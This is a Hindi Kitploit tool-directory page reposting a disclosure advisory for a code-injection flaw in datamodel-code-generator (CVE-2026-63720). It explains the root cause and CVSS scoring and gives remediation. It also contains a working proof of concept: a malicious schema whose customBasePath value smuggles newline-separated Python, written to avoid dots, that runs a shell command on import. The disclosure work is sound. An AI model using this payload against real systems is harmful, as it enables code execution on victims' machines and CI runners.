Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63720-datamodel-code-generator — अमान्य customBasePath के माध्यम से datamodel-code-generator में कोड इंजेक्शन (RCE) (CVE-2026-63720) | Kitploit
उपकरण/GitHubGitHub/rahulreddykarne/cve-2026-63720-datamodel-code-generator
भेद्यता विश्लेषणशोषणआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubrahulreddykarne/cve-2026-63720-datamodel-code-generator

CVE-2026-63720-datamodel-code-generator

अमान्य customBasePath के माध्यम से datamodel-code-generator में कोड इंजेक्शन (RCE) (CVE-2026-63720)

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
17 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-63720: datamodel-code-generator में अनवैलिडेटेड customBasePath के माध्यम से कोड इंजेक्शन

गंभीरता: उच्च, CVSS 3.1 7.5 / CVSS 4.0 7.5 (VulnCheck, CNA द्वारा निर्धारित)

पर्यावरणीय सीमा (नेटवर्क-सेवा तैनाती): 9.8 तक

वेक्टर (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

वेक्टर (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

प्रभावित: datamodel-code-generator < 0.70.0

इसमें ठीक हुआ: 0.70.0

CWE: CWE-94 (कोड निर्माण का अनुचित नियंत्रण, 'कोड इंजेक्शन')

रिपोर्टकर्ता: Rahul Karne

CNA: VulnCheck

प्रकाशित: 26 जुलाई, 2026


सारांश

datamodel-code-generator ने कोड-इंजेक्शन पेलोड ले जाने वाली हर स्कीमा-नियंत्रित इम्पोर्ट स्ट्रिंग को मान्य किया, एक को छोड़कर।

यह टूल इनपुट स्कीमा (JSON Schema, OpenAPI, YAML) को Python मॉडल सोर्स में बदलता है। कई स्कीमा फ़ील्ड सीधे उस जनरेटेड कोड में प्रस्तुत की जाती हैं, इसलिए प्रोजेक्ट उन्हें उपयोग से पहले डॉटेड Python आइडेंटिफ़ायर के रूप में मान्य करता है, विशेष रूप से इंजेक्शन रोकने के लिए। स्कीमा एक्सटेंशन फ़ील्ड customBasePath एकमात्र ऐसा सहोदर फ़ील्ड है जो इस जाँच को छोड़ देता है। इसका मान बिना सैनिटाइज़ किए जनरेटेड आउटपुट में from ... import ... स्टेटमेंट में पहुँचता है। जो हमलावर इनपुट स्कीमा को नियंत्रित करता है, वह न्यूलाइन और डॉट-रहित एक्सप्रेशन का उपयोग करके मनमाना Python एम्बेड कर सकता है, और जनरेटेड मॉड्यूल इम्पोर्ट होते ही यह निष्पादित हो जाता है, जो मॉडल जनरेट करने के बाद का सामान्य अगला कदम है।

यह CVE-2026-55415 (GHSA-5578-w22f-pfx9) का अधूरा सुधार है, जिसने सहोदर फ़ील्ड customTypePath और x-python-import को इसी श्रेणी के हमले से सुरक्षित किया था। उस सुधार ने customBasePath को कवर नहीं किया, जो बिना मान्य किए उसी सिंक तक पहुँचता है और 0.68.1 तथा 0.70.0 तक main ब्रांच में शोषण योग्य बना रहा।

प्रभाव

जनरेटेड मॉडल को इम्पोर्ट या चलाने वाली प्रक्रिया में मनमाना Python कोड निष्पादन: डेवलपर की मशीन, CI रनर, या कोई भी सेवा जो मॉडल जनरेट करती है और फिर लोड करती है। होस्ट की गोपनीयता, अखंडता और उपलब्धता पूरी तरह से समझौता हो जाती है, केवल उस प्रक्रिया के विशेषाधिकारों द्वारा सीमित।

गंभीरता पूरी तरह से इस बात पर निर्भर करती है कि कोडजेन अविश्वसनीय इनपुट पर कहाँ चलता है:

  • स्थानीय डेवलपर वर्कफ़्लो। एक डेवलपर ऐसी स्कीमा से मॉडल जनरेट करता है जिसे उन्होंने स्वयं नहीं लिखा (एक प्राप्त या तृतीय-पक्ष OpenAPI दस्तावेज़) और परिणाम इम्पोर्ट करता है। कोड डेवलपर के रूप में चलता है। यह निर्धारित-आधार मामला है।
  • CI / बिल्ड पाइपलाइन। एक पाइपलाइन तृतीय-पक्ष स्पेक से मॉडल जनरेट करती है और परीक्षण चलाती है। कोड CI रनर पर उसके पास मौजूद किसी भी क्रेडेंशियल के साथ चलता है।
  • नेटवर्क सेवा (पर्यावरणीय सीमा, 9.8 तक)। एक सेवा जो HTTP पर स्कीमा स्वीकार करती है, मॉडल जनरेट करती है और उन्हें लोड करती है, उदाहरण के लिए एक B2B प्लेटफ़ॉर्म जो ग्राहक-आपूर्ति OpenAPI स्पेक से SDK स्वतः-जनरेट करता है, बिना किसी उपयोगकर्ता इंटरैक्शन के एकल अनप्रमाणित अनुरोध से सर्वर पर हमलावर का कोड चलाता है। यह वह तैनाती है जिसे अनुरक्षक का स्वयं का सहोदर परामर्श (GHSA-m34r) दायरे में नामित करता है।

कौन प्रभावित है: datamodel-code-generator < 0.70.0 का कोई भी उपयोग जो (1) ऐसी स्कीमा से मॉडल जनरेट करता है जिसका customBasePath मान हमलावर-प्रभावित है, और (2) जनरेटेड मॉड्यूल को इम्पोर्ट या निष्पादित करता है। डिफ़ॉल्ट कोडजेन-फिर-इम्पोर्ट वर्कफ़्लो स्वाभाविक रूप से (2) को संतुष्ट करता है।

कौन प्रभावित नहीं है:

  • 0.70.0 या उसके बाद के संस्करण पर, जहाँ customBasePath मान्य किया जाता है।
  • वे वर्कफ़्लो जो केवल पूर्ण रूप से विश्वसनीय, प्रथम-पक्ष स्कीमा से मॉडल जनरेट करते हैं।
  • वे वर्कफ़्लो जो सोर्स जनरेट करते हैं लेकिन उसे कभी इम्पोर्ट या निष्पादित नहीं करते (दुर्लभ, क्योंकि मॉडल जनरेट करके उनका उपयोग करना ही टूल का उद्देश्य है)।

पहुँच

मीट्रिकमानस्रोत
कुल डाउनलोड194 मिलियनpepy.tech/projects/datamodel-code-generator

तकनीकी विवरण

मूल कारण

customBasePath स्कीमा फ़ील्ड का मान बिना किसी आइडेंटिफ़ायर बाधा के जनरेटेड कोड में पहुँचाया जाता है। कोडबेस में तीन बिंदु महत्वपूर्ण हैं (पथ src/datamodel_code_generator/ के सापेक्ष):

  • स्कीमा प्रवेश बिंदु। parser/jsonschema.py फ़ील्ड custom_base_path को alias="customBasePath" के साथ परिभाषित करता है (~लाइन 644), जिसे कई कॉल साइटों पर _resolve_base_class(...) के माध्यम से उपभोग किया जाता है।
  • लापता मान्यकरण। parser/base.py, _resolve_base_class (~लाइन 1665), केवल स्थानीय normalize() (डेडुप/स्ट्रिप) के बाद मान लौटाता है। कोई आइडेंटिफ़ायर मान्यकरण लागू नहीं किया जाता।
  • सिंक। imports.py, Import.from_full_path() (~लाइन 35), मान को यथावत from ... import ... पंक्ति के रूप में उत्सर्जित करता है। मान का उपयोग model/base.py set_base_class (~लाइन 1324) में क्लास बेस के रूप में भी किया जाता है और मॉडल टेम्पलेट () द्वारा कच्चा प्रस्तुत किया जाता है।

चूँकि मान बिना किसी बाधा के Python सोर्स में लिखा जाता है, एम्बेडेड न्यूलाइन और डॉट-रहित एक्सप्रेशन आउटपुट में अपनी अलग-अलग पार्स-योग्य पंक्तियों के रूप में जीवित रहते हैं, और बीच की पंक्ति इम्पोर्ट पर निष्पादित होती है।

पेलोड आवश्यक रूप से डॉट-रहित है। Import.from_full_path मान को . पर विभाजित करता है, इसलिए एक सामान्य os.system(...) कॉल टूट जाएगा। getattr(__import__('os'),'system')(...) का उपयोग किसी भी . से बचते हुए समान कॉल को हल करता है, और आस-पास की न्यूलाइन उत्सर्जित from ... import ... पंक्तियों को वाक्य-रचना की दृष्टि से मान्य रखती हैं ताकि इंजेक्टेड बीच की पंक्ति साफ़-सुथरी चले।

यह सुरक्षित कोडबेस में कैसे बचा रहा

यह ऐसा प्रोजेक्ट नहीं है जिसने इंजेक्शन की उपेक्षा की। अनुरक्षक ने कई परामर्शों (GHSA-5578, m34r, 8m8r, wjv6) में इसी श्रेणी को बार-बार सुरक्षित किया, हर बार कोड जनरेशन तक पहुँचने से पहले स्कीमा-नियंत्रित इम्पोर्ट या टाइप स्ट्रिंग को _validate_dotted_python_identifier_path के माध्यम से भेजा। सहोदर फ़ील्ड customTypePath (parser/jsonschema.py ~लाइन 4956, 5202 पर मान्य) और x-python-import (~लाइन 2096) दोनों उस वैलिडेटर से गुजरते हैं।

customBasePath एकमात्र ऐसा सहोदर है जिसमें ऐसा कोई कॉल नहीं है। यह उसी Import.from_full_path सिंक तक एक अलग पथ (_resolve_base_class) से पहुँचता है जो कभी भी उस मान्यकरण से नहीं जोड़ा गया जो अन्य फ़ील्ड को मिला। दोष इसलिए बचा रहा क्योंकि आस-पास की सुरक्षा पूर्ण दिखती थी: अनवैलिडेटेड इम्पोर्ट स्ट्रिंग की तलाश करने वाला समीक्षक पहले उन फ़ील्ड पर वैलिडेटर देखता है, और यह एक ऐसे हेल्पर से होकर गुजरता है जो इम्पोर्ट-हैंडलिंग के बजाय बेस-क्लास रिज़ॉल्यूशन जैसा दिखता है। यह एक व्यवस्थित सुधार में अंतराल है, अनुपस्थित सुधार नहीं, इसीलिए यह नवीनतम रिलीज़ में बना रहा।

शोषण की पूर्व शर्तें

एक हमलावर को चाहिए:

  1. datamodel-code-generator < 0.70.0 का उपयोग करने वाला लक्ष्य।
  2. लक्ष्य द्वारा संसाधित की जाने वाली स्कीमा में customBasePath मान पर नियंत्रण, व्यवहार में इनपुट स्कीमा की आपूर्ति या उसे प्रभावित करके (एक तृतीय-पक्ष OpenAPI/JSON Schema दस्तावेज़, या किसी सेवा को प्रस्तुत स्कीमा)।
  3. लक्ष्य द्वारा जनरेटेड मॉड्यूल को इम्पोर्ट या चलाना, जो सामान्य कोडजेन-फिर-उपयोग वर्कफ़्लो है।

हमलावर के लिए कोई प्रमाणीकरण या उन्नत विशेषाधिकार आवश्यक नहीं हैं (PR:N)। आधार स्कोर दर्शाता है कि पीड़ित सामान्य जनरेट-और-इम्पोर्ट क्रिया करता है (v3.1 में UI:R / v4.0 में UI:A); नेटवर्क-सेवा तैनाती उसे भी हटा देती है, और यहीं से पर्यावरणीय 9.8 आता है।

प्रमाण की अवधारणा (Proof of Concept)

निम्नलिखित वास्तविक, अपरिवर्तित पैकेज के विरुद्ध चलाया गया। पुनरुत्पादन:

root@kitploit:~
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"

हमलावर का इनपुट (attack.json):

root@kitploit:~
{
  "type": "object",
  "title": "User",
  "customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
  "properties": { "name": { "type": "string" } }
}

कमजोर संस्करण (0.68.1) पर जनरेटेड generated_models.py:

root@kitploit:~
from __future__ import annotations

from builtins import object

getattr(__import__('os'), 'system')(
    'whoami > RCE_PROOF.txt'
)
from builtins import object


class User(object):
    name: str | None = None

हमलावर का कॉल यथावत जनरेटेड सोर्स में उत्सर्जित होता है।

इम्पोर्ट पर: कमांड निष्पादित होती है। सत्यापित रन में, इंजेक्टेड मार्कर stdout पर मुद्रित हुआ और RCE_PROOF.txt बनाया गया जिसमें वर्तमान उपयोगकर्ता (root) था, जो सामान्य जनरेट-और-इम्पोर्ट वर्कफ़्लो के माध्यम से मनमाने कमांड निष्पादन की पुष्टि करता है।

पैच किए गए संस्करण (0.70.0) पर: कोई भी कोड जनरेट होने से पहले वही स्कीमा अस्वीकार कर दी जाती है:

root@kitploit:~
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"

कोई फ़ाइल निर्मित नहीं होती। अस्वीकृति संदेश सीधे सुधार का नाम बताता है: मान को अब डॉटेड Python आइडेंटिफ़ायर पथ होना आवश्यक है।

नेटवर्क-सेवा प्रकार। एक अनप्रमाणित लूपबैक HTTP सेवा जो POST की गई स्कीमा स्वीकार करती है, मॉडल जनरेट करती है, और उन्हें इम्पोर्ट करती है, को बिना किसी उपयोगकर्ता इंटरैक्शन के एकल अनप्रमाणित curl से सर्वर पर हमलावर का कमांड निष्पादित करते हुए प्रदर्शित किया गया। यह पर्यावरणीय 9.8 के पीछे की तैनाती संरचना है। सेवा और हमले की फ़ाइलें PoC रिपॉज़िटरी में शामिल हैं।

डेमो देखें

उपचार (Remediation)

datamodel-code-generator 0.70.0 या उसके बाद के संस्करण में अपग्रेड करें:

root@kitploit:~
pip install --upgrade "datamodel-code-generator>=0.70.0"

0.70.0 customBasePath को उसी डॉटेड-आइडेंटिफ़ायर मान्यकरण से गुजारता है जो पहले से customTypePath और x-python-import पर लागू है, इसलिए जो मान मान्य आइडेंटिफ़ायर पथ नहीं है उसे कोड जनरेशन से पहले अस्वीकार कर दिया जाता है।

यदि आप तुरंत अपग्रेड नहीं कर सकते: ऐसी स्कीमा से मॉडल जनरेट न करें जिन्हें आप पूरी तरह नियंत्रित नहीं करते, और अविश्वसनीय स्कीमा से जनरेटेड मॉड्यूल को इम्पोर्ट या निष्पादित न करें। प्रभावित संस्करणों में लापता मान्यकरण जोड़ने वाला कोई कॉन्फ़िगरेशन फ़्लैग नहीं है; अपग्रेड करना ही विश्वसनीय सुधार है।

जनरेटर के आंतरिक भागों का पुन: उपयोग करने वालों के लिए नोट। दोष Import.from_full_path में एक कोड पथ पर लापता मान्यकरण कॉल था, न कि सिंक में ही कोई त्रुटि। कोई भी डाउनस्ट्रीम प्रोजेक्ट जो स्कीमा-नियंत्रित स्ट्रिंग को जनरेटेड कोड में प्रस्तुत करता है, उसे ऐसे हर फ़ील्ड को डॉटेड आइडेंटिफ़ायर के रूप में मान्य करना चाहिए, न कि केवल उन्हें जो स्पष्ट इम्पोर्ट-हैंडलिंग पथ से गुजरते हैं।

CVSS स्कोर पर

VulnCheck (CNA) ने 7.5 (उच्च) निर्धारित किया, जो अनुरक्षक द्वारा मूल परामर्श CVE-2026-55415 के लिए उपयोग किए गए आधार वेक्टर से मेल खाता है, क्योंकि यह समान इंजेक्शन श्रेणी, समान Import.from_full_path सिंक, और समान प्रभाव है।

  • AV:N: स्कीमा आमतौर पर नेटवर्क के माध्यम से प्राप्त की जाती हैं (प्राप्त या तृतीय-पक्ष OpenAPI / JSON Schema दस्तावेज़)।
  • AC:H: शोषण इस बात पर निर्भर करता है कि पीड़ित दुर्भावनापूर्ण स्कीमा से मॉडल जनरेट करता है और फिर जनरेटेड कोड को इम्पोर्ट या चलाता है।
  • PR:N / UI:R (v3.1): कोई हमलावर विशेषाधिकार नहीं; पीड़ित सामान्य कोडजेन-और-इम्पोर्ट वर्कफ़्लो करता है।
  • C:H / I:H / A:H: होस्ट पर पूर्ण मनमाना कोड निष्पादन।

पर्यावरणीय सीमा 9.8 है (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) और यह विशेष रूप से नेटवर्क-सेवा तैनाती पर लागू होती है, जहाँ जनरेटर अविश्वसनीय स्कीमा के संपर्क में होता है और किसी पीड़ित इंटरैक्शन की आवश्यकता नहीं होती। वह आंकड़ा उस तैनाती के लिए एक पर्यावरणीय नोट है, निर्धारित आधार स्कोर नहीं। दोनों को बताना, और स्पष्ट रूप से बताना कि कौन सा कौन सा है, ईमानदार ढाँचा है: आधार 7.5 है, और यह केवल खुली-सेवा मामले में 9.8 तक पहुँचता है।

प्रकटीकरण समयरेखा

दिनांकघटना

श्रेय

Rahul Karne द्वारा खोजा और रिपोर्ट किया गया, जो सुरक्षा शोधकर्ता और IEEE वरिष्ठ सदस्य हैं। उनका शोध उच्च-निर्भरता वाले ओपन-सोर्स पैकेजों में इंजेक्शन और इनपुट-हैंडलिंग त्रुटियों पर केंद्रित है, जिसमें CVE-2026-65321 (PyAthena में SQL इंजेक्शन) और इस खोज के आस-पास की मूल-श्रेणी सख्ती शामिल है।

संपर्क: [email protected] · GitHub: rahulreddykarne

संदर्भ

  • NVD (CVE-2026-63720): https://nvd.nist.gov/vuln/detail/CVE-2026-63720
  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-63720
  • VulnCheck परामर्श: https://www.vulncheck.com/advisories/datamodel-code-generator-code-injection-via-unvalidated-custombasepath-schema-field
  • पैच कमिट 545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5
  • मूल परामर्श (अधूरा सुधार): CVE-2026-55415 / GHSA-5578-w22f-pfx9
  • प्रोजेक्ट रिपॉज़िटरी: https://github.com/koxudaxi/datamodel-code-generator
  • डाउनलोड आँकड़े: https://pepy.tech/projects/datamodel-code-generator

प्रेस

मीडिया पूछताछ: [email protected]. पूर्ण PoC (हमलावर स्कीमा, नेटवर्क-सेवा डेमो) और अतिरिक्त तकनीकी विवरण अनुरोध पर उपलब्ध।

टूल डाउनलोड करें
पिछले 30 दिनों के डाउनलोड16.3 मिलियनpepy.tech
विशिष्ट तैनातीडेवलपर मशीनें, CI/CD पाइपलाइन, और SDK-जनरेशन प्लेटफ़ॉर्म जो OpenAPI / JSON Schema से कोडजेन करते हैंटूल के कार्य में निहित
class {{ class_name }}({{ base_class }}):
13 जुलाई, 2026भेद्यता की पहचान
14 जुलाई, 2026रिपोर्ट की गई (समन्वित प्रकटीकरण)
21 जुलाई, 2026सुधार प्रतिबद्ध (545a96c5)
24 जुलाई, 2026पैच किया गया संस्करण 0.70.0 जारी
26 जुलाई, 2026CVE-2026-63720 VulnCheck द्वारा प्रकाशित